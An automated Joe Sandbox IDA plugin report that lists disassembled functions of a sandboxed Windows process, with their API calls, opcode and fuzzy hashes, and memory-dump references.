Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 898675fe9218c456e9635897f2d1d868c629d4b8853c74df44181d0bc5e5716e
Instruction ID: b1683dd1e910bd025b06779009c9a6f7b1ae4329cd4e1d7a34cb12ee58b8e80a
Opcode Fuzzy Hash: 898675fe9218c456e9635897f2d1d868c629d4b8853c74df44181d0bc5e5716e
Instruction Fuzzy Hash: CFE01A74B0830596EB246F609C892792356EF8ABD1F1150BCC90E8339ACE3DE5088200

Function 00007FF697B566C0 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 466COMMON

Download Yara Rule

APIs

_Init_thread_footer.LIBCMT ref: 00007FF697B56C05

Strings

CALL, xrefs: 00007FF697B56BCE

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Init_thread_footer
String ID: CALL
API String ID: 1385522511-4196123274
Opcode ID: bbe064554769086b9c8bd9943c7fd123000cf1a06c08045b2078ede9307d5009
Instruction ID: 6873bdc1ee19d483ecf1974eb505c5291c1626753d753b56076a6c9ef9c3f8ba
Opcode Fuzzy Hash: bbe064554769086b9c8bd9943c7fd123000cf1a06c08045b2078ede9307d5009
Instruction Fuzzy Hash: 78226572B08A82CAEB24DF64E4802AC37B1FB46BD8F5041B6DA4D97799CF38E555C340

Function 00007FF697B46838 Relevance: 3.1, APIs: 2, Instructions: 100fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE ref: 00007FF697B468A2

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 27afbee001dd2f14ab302487d27ec6636649baba111da03fe0a26036beb73b09
Instruction ID: 4bf66ba9e14ec04e9f3dae2c5bddeed8e3ab57330589ef708affbc9bfa58dddc
Opcode Fuzzy Hash: 27afbee001dd2f14ab302487d27ec6636649baba111da03fe0a26036beb73b09
Instruction Fuzzy Hash: B2418E72A08B46C6E7749F14E41437977A0EB86BE8F0482B1EA6D876CDCF7DE4049740

Function 00007FF697B46460 Relevance: 3.1, APIs: 2, Instructions: 91libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF697B46D64: LoadLibraryA.KERNEL32(?,?,?,00007FF697B46490), ref: 00007FF697B46D7B
Part of subcall function 00007FF697B46D64: GetProcAddress.KERNEL32(?,?,?,00007FF697B46490), ref: 00007FF697B46D93

FreeLibrary.KERNEL32 ref: 00007FF697B464BA
LoadLibraryExW.KERNELBASE ref: 00007FF697B464E4

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Library$Load$AddressFreeProc
String ID:
API String ID: 2632591731-0
Opcode ID: 392ad9f8a410b3ba7add488219b3c7835b0d92f2120495b543ba498714cf74fb
Instruction ID: 9d2d74f9a50e512ad7437190ac4fe313e62f36a97cec71a72d870fe340681eea
Opcode Fuzzy Hash: 392ad9f8a410b3ba7add488219b3c7835b0d92f2120495b543ba498714cf74fb
Instruction Fuzzy Hash: 66413832A14A168AEB20EF25D8513FC23A0EB46BCCF454171EA0D87A9EDF3CD958D700

Function 00007FF697B46258 Relevance: 3.1, APIs: 2, Instructions: 72windowCOMMON

Download Yara Rule

APIs

Shell_NotifyIconW.SHELL32 ref: 00007FF697B46350

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: IconNotifyShell_
String ID:
API String ID: 1144537725-0
Opcode ID: 32275c29c25acc732941c8e4684a790687827c850461c861846bda9725fb2c55
Instruction ID: 3388a08908f6bc90f9dbd0fbd9aa005a74735d0edbebf917b36336e8f235d9f7
Opcode Fuzzy Hash: 32275c29c25acc732941c8e4684a790687827c850461c861846bda9725fb2c55
Instruction Fuzzy Hash: 34417A32A09B86C6EB618F11E4403A933A8FB4ABC8F4401B5DA4C87799CF7CE694C710

Function 00007FF697B43730 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

IsThemeActive.UXTHEME ref: 00007FF697B43756

Part of subcall function 00007FF697B69334: _invalid_parameter_noinfo.LIBCMT ref: 00007FF697B69348

Part of subcall function 00007FF697B436E8: SystemParametersInfoW.USER32 ref: 00007FF697B43705
Part of subcall function 00007FF697B436E8: SystemParametersInfoW.USER32 ref: 00007FF697B43725

Part of subcall function 00007FF697B437B0: GetCurrentDirectoryW.KERNEL32(?,?,?,?,?,00007FF697B43785), ref: 00007FF697B437F2
Part of subcall function 00007FF697B437B0: IsDebuggerPresent.KERNEL32(?,?,?,?,?,00007FF697B43785), ref: 00007FF697B43807
Part of subcall function 00007FF697B437B0: GetFullPathNameW.KERNEL32(?,?,?,?,?,00007FF697B43785), ref: 00007FF697B4388D
Part of subcall function 00007FF697B437B0: SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,00007FF697B43785), ref: 00007FF697B43924

SystemParametersInfoW.USER32 ref: 00007FF697B43797

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: InfoParametersSystem$CurrentDirectory$ActiveDebuggerFullNamePathPresentTheme_invalid_parameter_noinfo
String ID:
API String ID: 4207566314-0
Opcode ID: 125559b38fbd26b10a906e66ef6d00d9a995a301863d6166c855ae18de5db764
Instruction ID: 1fe24996aef40593167892af108a7bc52f8298633eaadafa0f0c2b6197ceb4f5
Opcode Fuzzy Hash: 125559b38fbd26b10a906e66ef6d00d9a995a301863d6166c855ae18de5db764
Instruction Fuzzy Hash: 2E01F671E0C2429EF774AF61A8156B976A2EF0A780F4800B5D54DC72AACE2DB5849700

Function 00007FF697B7B3C0 Relevance: 3.0, APIs: 2, Instructions: 19memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL ref: 00007FF697B7B3D6
GetLastError.KERNEL32 ref: 00007FF697B7B3E8

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 3a3ca9d619edea9c8d6b14ea3b5be24cbdeed60e72e2f20e181f770ec40af026
Instruction ID: 6793be018f48ee0165307c1c53030760f4ee6796f203cc2d9df63122f02a6343
Opcode Fuzzy Hash: 3a3ca9d619edea9c8d6b14ea3b5be24cbdeed60e72e2f20e181f770ec40af026
Instruction Fuzzy Hash: DBE08670E0920386FF346FB258141751691DF46BC0F8440B0D80DC6659ED2CD4854A00

Function 00007FF697B804B8 Relevance: 2.6, APIs: 2, Instructions: 55COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE ref: 00007FF697B8051B
GetLastError.KERNEL32 ref: 00007FF697B80525

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: 002ee005d6ec78c53f39e4c0500c246461289f80a8623e937adbc3f867fac835
Instruction ID: 793b3b7eeb0b7546e338089b7ab97696d369d2f6c0df9fa416f7771f5d1bbb89
Opcode Fuzzy Hash: 002ee005d6ec78c53f39e4c0500c246461289f80a8623e937adbc3f867fac835
Instruction Fuzzy Hash: EF119331B0C24741FEB49F64A5943FC1291DF96BE4F0812B4DA2EC67DADD6CE8448201

Function 00007FF697B51475 Relevance: 2.0, APIs: 1, Instructions: 533COMMON

Download Yara Rule

APIs

_Init_thread_footer.LIBCMT ref: 00007FF697B51990

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Init_thread_footer
String ID:
API String ID: 1385522511-0
Opcode ID: 14d8bcb0f5e5d36dc6dc2465f5c4b4e36f70afd0639fb95ae083af4e2f9187f7
Instruction ID: 93ede0357ea97c19dbd75664055edbf8910906a5d4d1ed5f02e514cafec3a7ca
Opcode Fuzzy Hash: 14d8bcb0f5e5d36dc6dc2465f5c4b4e36f70afd0639fb95ae083af4e2f9187f7
Instruction Fuzzy Hash: A032CD72A0C68686EB70CF15E4442BA6761EB96BC8F4441B2DE5EC7799DF3DE841C301

Function 00007FF697BA20D6 Relevance: 1.6, APIs: 1, Instructions: 109COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00007FF697BA20E2

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 2f2a7f0b4b99b489bd401bf82ee2ae899ba245d3bdd8c743c662dd8b12cd4bc5
Instruction ID: ca593567ccce76c1addaa218d18665cf959d162bacdfbf62dcf0b83fd1a5fb2f
Opcode Fuzzy Hash: 2f2a7f0b4b99b489bd401bf82ee2ae899ba245d3bdd8c743c662dd8b12cd4bc5
Instruction Fuzzy Hash: 43414636B08A4286EB21AF65E4803AC33A1FB86BD8F444575CE0D9779ACF7CE595C340

Function 00007FF697B68FAC Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF697B68FD4

Part of subcall function 00007FF697B69164: GetModuleHandleExW.KERNEL32 ref: 00007FF697B69184
Part of subcall function 00007FF697B69164: GetProcAddress.KERNEL32 ref: 00007FF697B6919A
Part of subcall function 00007FF697B69164: FreeLibrary.KERNEL32 ref: 00007FF697B691BF

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: 867c7b1033e3f760706abf2d2d8e8ea2ff197c00114f18769501bed1359dd07f
Instruction ID: f31dffb16c5eac4827271d7d0ef5bd37f8e5f259d6919e89478e8d8be77927bc
Opcode Fuzzy Hash: 867c7b1033e3f760706abf2d2d8e8ea2ff197c00114f18769501bed1359dd07f
Instruction Fuzzy Hash: 12419C31A0865286EF74AF15D89127832A1EF82BD0F5450B9DA0E876D9DE3EEA418740

Function 00007FF697B748E0 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF697B74835

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 3afeb395a215f3ec17922b2632f819625b98a9037f1372fc9655ff2c7b0df073
Instruction ID: 05eeb9035c29820d839cc5193e771c81647a596dca1d9a34ed3eac1d253114e3
Opcode Fuzzy Hash: 3afeb395a215f3ec17922b2632f819625b98a9037f1372fc9655ff2c7b0df073
Instruction Fuzzy Hash: 40218032E0C68682EA719F11940027EA2A1FF46BC4F5440B0EA4DDBF8EDF7CE9419740

Function 00007FF697B86D04 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF697B86D34

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: ecb6d4795bd6ab7db71324e13dbdbe24fc2c4762c378ad1b5bb23dbd8960ecc0
Instruction ID: 08546a8083613db5e0c9f00c604db401ca4ed5332c76dfe939a00600625d4d10
Opcode Fuzzy Hash: ecb6d4795bd6ab7db71324e13dbdbe24fc2c4762c378ad1b5bb23dbd8960ecc0
Instruction Fuzzy Hash: DC21A43261864787EB758F25E4403B976A1EF86BD8F144274DA5DCB6DADF2CD810CB00

Function 00007FF697B7E258 Relevance: 1.6, APIs: 1, Instructions: 51COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF697B7E28C

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: cd67e12c883e9f8bd43024705065033ffad1d181a756db3b5eb2a2d32994f697
Instruction ID: 73752cf3f6d687ce9c5c6a9492baf0b62717f578bd4ac83e7fc6a73fa885ba65
Opcode Fuzzy Hash: cd67e12c883e9f8bd43024705065033ffad1d181a756db3b5eb2a2d32994f697
Instruction Fuzzy Hash: 80116032A1C686C6F7309F50A44023A63A5FF46BC0F5405B9EA8DD7B99DF3CE8018B00

Function 00007FF697BC5B80 Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69bddbc63fd99da0361e32bf605d9336e4230c0dde7f0018513f1afea8dd74fd
Instruction ID: d037629df27cca5d06b84835120836c92687b45616498f328ba3e04d761dda9f
Opcode Fuzzy Hash: 69bddbc63fd99da0361e32bf605d9336e4230c0dde7f0018513f1afea8dd74fd
Instruction Fuzzy Hash: 48116D36718A4585EF249F19D0803796360EF85FD1F689172DE1E873A9CF7CD4908300

Function 00007FF697B80414 Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b30da4845d5eceae66a2d6d402695b56ede85308cac44f88c52346f0b0ebdab
Instruction ID: b3ef040a9687c8e4e93165f8be59a0801860c67c6fae7068b57b0b5beb9ee0de
Opcode Fuzzy Hash: 9b30da4845d5eceae66a2d6d402695b56ede85308cac44f88c52346f0b0ebdab
Instruction Fuzzy Hash: 62114F7290864686EB259F50D4403AD7771EF857D0F9841B6E64D466EADFBCD001CB00

Function 00007FF697B748EC Relevance: 1.5, APIs: 1, Instructions: 40COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF697B74909

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 818d4f054f78961d0311f8415a74e8c04cfe353b78e3df62868af38b1621707f
Instruction ID: ac7780b08fd9779938d1716bdd3753ee5df6aafff92089cbdca6f34961c86dd6
Opcode Fuzzy Hash: 818d4f054f78961d0311f8415a74e8c04cfe353b78e3df62868af38b1621707f
Instruction Fuzzy Hash: 1A014F31E0920749FE34AF6594517BD1150DF977F4F2416B0E92ECAADADE2CE8428705

Function 00007FF697B74970 Relevance: 1.5, APIs: 1, Instructions: 33COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF697B74999

Part of subcall function 00007FF697B748EC: _invalid_parameter_noinfo.LIBCMT ref: 00007FF697B74909

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 2d4bb694f3344be1704f8fb2f3e9680fc63ca215821e8b9c9dcb21430b87e8c8
Instruction ID: 4749694ffc01331131dd7a06928fcd49ca4da06025f2897b97ce106716aa23ec
Opcode Fuzzy Hash: 2d4bb694f3344be1704f8fb2f3e9680fc63ca215821e8b9c9dcb21430b87e8c8
Instruction Fuzzy Hash: BEF0B431E0C2474AEE346F75A44167E2290EF427D4F2411B0FA5EC6ACECE6CE441D601

Function 00007FF697B4652C Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF697B74970: _invalid_parameter_noinfo.LIBCMT ref: 00007FF697B74999

FreeLibrary.KERNEL32(?,?,?,00007FF697B8C8FE), ref: 00007FF697B4656F

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: FreeLibrary_invalid_parameter_noinfo
String ID:
API String ID: 3938577545-0
Opcode ID: 1616f9817ac4f342c8a27cae0d88970e89b0e161c3324b28999c931e150df169
Instruction ID: 7391c20924819040d08e1ed4a64de94b9e571a0d1f82789fa2a513baf9b04669
Opcode Fuzzy Hash: 1616f9817ac4f342c8a27cae0d88970e89b0e161c3324b28999c931e150df169
Instruction Fuzzy Hash: 15F03A62A19A09C6EF29DF65D0563382260EB69F8CF1405B0CA0E8A18DCF2CD4549241

Function 00007FF697B64C68 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF697B64C5C

Part of subcall function 00007FF697B65600: std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF697B65609
Part of subcall function 00007FF697B65600: _CxxThrowException.LIBVCRUNTIME ref: 00007FF697B6561A

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
